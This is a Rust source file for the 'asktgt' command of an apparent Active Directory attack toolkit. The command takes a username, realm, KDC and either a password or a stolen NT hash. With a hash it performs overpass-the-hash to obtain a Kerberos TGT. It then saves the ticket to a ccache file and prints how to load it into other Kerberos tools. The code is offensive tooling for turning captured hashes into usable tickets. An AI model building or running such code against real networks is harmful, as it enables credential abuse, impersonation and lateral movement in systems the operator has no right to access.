use crate::ui;
use anyhow::Result;
use clap::Parser;
#[derive(Parser)]
pub(crate) struct AsktgtArgs {
#[arg(long)]
pub user: String,
#[arg(long)]
pub realm: String,
#[arg(long)]
pub kdc: String,
#[arg(long)]
pub password: Option<adhammer_core::SecretString>,
#[arg(long)]
pub nt_hash: Option<adhammer_core::SecretString>,
#[arg(long)]
pub out: Option<String>,
}
pub(crate) async fn asktgt(a: AsktgtArgs) -> Result<()> {
let mut checklist =
ui::StageChecklist::new(["resolve credentials", "obtain TGT from KDC", "write ccache"]);
let result = asktgt_impl(a, &mut checklist).await;
match &result {
Ok(()) => checklist.render("Ask-TGT stages"),
Err(e) => {
let brief = format!("{e:#}")
.lines()
.next()
.unwrap_or("failed")
.chars()
.take(80)
.collect::<String>();
checklist.mark_current_failed(brief);
checklist.render("Ask-TGT stages (failed)");
}
}
result
}
async fn asktgt_impl(a: AsktgtArgs, checklist: &mut ui::StageChecklist) -> Result<()> {
let (ccache, auth_mode) = match (&a.nt_hash, &a.password) {
(Some(h), None) => {
let nt = crate::parse_nt_hash(h)?;
checklist.record_ok(
"resolve credentials",
"NT hash (overpass-the-hash / RC4-HMAC)",
);
let cc = adhammer_kerberos::overpass_the_hash(&a.user, &a.realm, &a.kdc, &nt).await?;
(cc, "RC4-HMAC")
}
(None, Some(pw)) => {
checklist.record_ok("resolve credentials", "password (AES256)");
let cc = adhammer_kerberos::asktgt(&a.user, &a.realm, &a.kdc, pw).await?;
(cc, "AES256")
}
_ => anyhow::bail!("provide exactly one of --password or --nt-hash"),
};
checklist.record_ok(
"obtain TGT from KDC",
format!("{auth_mode} · {} bytes", ccache.len()),
);
let out = a.out.unwrap_or_else(|| format!("{}.ccache", a.user));
adhammer_core::write_secret_artifact(
std::path::Path::new(&out),
adhammer_core::SecretArtifact::Ccache,
&ccache,
)?;
checklist.record_ok("write ccache", format!("→ {out}"));
println!(
"[+] TGT obtained for {} → {out} ({} bytes)",
a.user,
ccache.len()
);
println!(" export KRB5CCNAME={out} (use with Kerberos-aware tooling)");
Ok(())
}